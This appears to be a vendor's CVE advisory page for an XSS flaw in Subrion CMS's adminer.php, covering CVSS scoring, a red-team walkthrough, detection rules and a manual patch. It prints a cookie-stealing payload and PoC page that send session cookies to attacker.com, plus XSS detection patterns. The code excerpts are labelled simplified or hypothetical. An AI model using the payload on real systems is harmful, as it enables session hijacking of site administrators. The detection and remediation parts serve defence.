CVE-2024-25399
Executive Summary
CVE-2024-25399 is a Cross-Site Scripting (XSS) vulnerability discovered in Subrion CMS version 4.2.1. The flaw resides in the adminer.php component, which is part of the administrative backend. An authenticated attacker with admin-level privileges can inject arbitrary JavaScript or HTML into the application, leading to session hijacking, defacement, or redirection of other admin users. The vulnerability is unpatched as the vendor has not released a fix. The CVSS score is 0.0 in the NVD record, but based on the vector, the actual severity is Medium (4.8). No public exploit code or Nuclei template is available, but the attack vector is straightforward.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Subrion CMS is a PHP-based content management system distributed via its official website and GitHub. No package manager (NPM, PyPI, Go, Ruby) is involved. The vulnerability is in the core application, not a third-party library.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have admin credentials.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Base Score: 4.8 (Medium)
Threat Level: Medium – Exploitation requires admin privileges, but the impact can be significant in multi-admin environments.
Deep Dive & Mechanics
The vulnerability exists in the adminer.php script, which is used for database management within the Subrion admin panel. The script fails to properly sanitize user-supplied input before rendering it in the HTML output. Specifically, parameters such as username, db, or other query string values are reflected without encoding, allowing an attacker to inject arbitrary HTML/JavaScript.
Root Cause: Lack of output encoding or input validation in adminer.php. The application uses $_GET or $_POST values directly in the response without applying htmlspecialchars() or similar escaping functions.
Attack Flow:
- Attacker logs in as an admin.
- Attacker crafts a malicious URL:
http://target/admin/adminer.php?username=<script>alert('XSS')</script> - Attacker sends the link to another admin (via email, chat, etc.).
- Victim admin clicks the link while authenticated.
- The injected script executes in the victim's browser, potentially stealing session cookies or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Subrion CMS 4.2.1):
// adminer.php (simplified)
$username = $_GET['username'];
echo "Welcome, $username!";
Patched Code (Hypothetical fix):
// adminer.php (patched)
$username = htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
echo "Welcome, $username!";
No official patch exists. The vendor has not responded to reports.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Admin credentials for Subrion CMS 4.2.1.
- Access to the admin panel (
/admin/).
Step-by-Step Exploitation:
- Log in to the admin panel.
- Craft a malicious URL:
http://target/admin/adminer.php?username=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Send the link to another admin user via the CMS messaging system or email.
- When the victim clicks the link, their session cookie is sent to the attacker's server.
Proof-of-Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "http://target/admin/adminer.php?username=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>";
</script>
</body>
</html>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for unusual
adminer.phprequests containing<script>oronerrorpatterns. - Implement a Web Application Firewall (WAF) rule to block XSS payloads in
adminer.phpparameters. - Restrict access to
adminer.phpto specific IP addresses or use VPN.
WAF Rule Example (ModSecurity):
SecRule REQUEST_URI "/adminer.php" "phase:1,id:1001,deny,status:403,msg:'XSS attempt blocked'"
SecRule ARGS "@rx <script|onerror|onload>" "phase:2,id:1002,deny,status:403,msg:'XSS payload detected'"
Indicators of Compromise (IOCs)
- URL Pattern:
/admin/adminer.php?username=<script>... - Log Entry:
GET /admin/adminer.php?username=%3Cscript%3Ealert(1)%3C/script%3E - Network Traffic: Outbound connections to attacker-controlled domains from admin browsers.
- File Changes: Unauthorized modifications to CMS content or user roles.
Detection Engineering
YARA Rule
rule CVE_2024_25399_XSS_Subrion {
meta:
description = "Detects XSS payloads targeting Subrion CMS adminer.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-25399"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$adminer_uri = "/adminer.php"
condition:
$adminer_uri and $xss_payload
}
Sigma Rule
title: Subrion CMS adminer.php XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against Subrion CMS adminer.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/adminer.php?username='
cs-uri-query|re: '<script|onerror|onload'
condition: selection
falsepositives:
- Legitimate admin usage with special characters
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25399 Subrion CMS adminer.php XSS Attempt"; flow:to_server,established; content:"/adminer.php"; http_uri; content:"username="; http_uri; pcre:"/<script|onerror|onload>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable adminer.php if not required: Rename or remove the file from the server.
- Restrict access to the admin panel via IP whitelisting or VPN.
- Apply input validation manually: Edit
adminer.phpto usehtmlspecialchars()on all user inputs. - Upgrade to a newer version if available (check vendor website).
Long-Term Fix:
- Monitor the Subrion CMS GitHub repository for a security patch.
- Consider migrating to a more actively maintained CMS.
Workaround Code (Manual Patch):
// Add at the top of adminer.php
$_GET = array_map(function($value) {
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}, $_GET);
$_POST = array_map(function($value) {
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}, $_POST);
Valters IT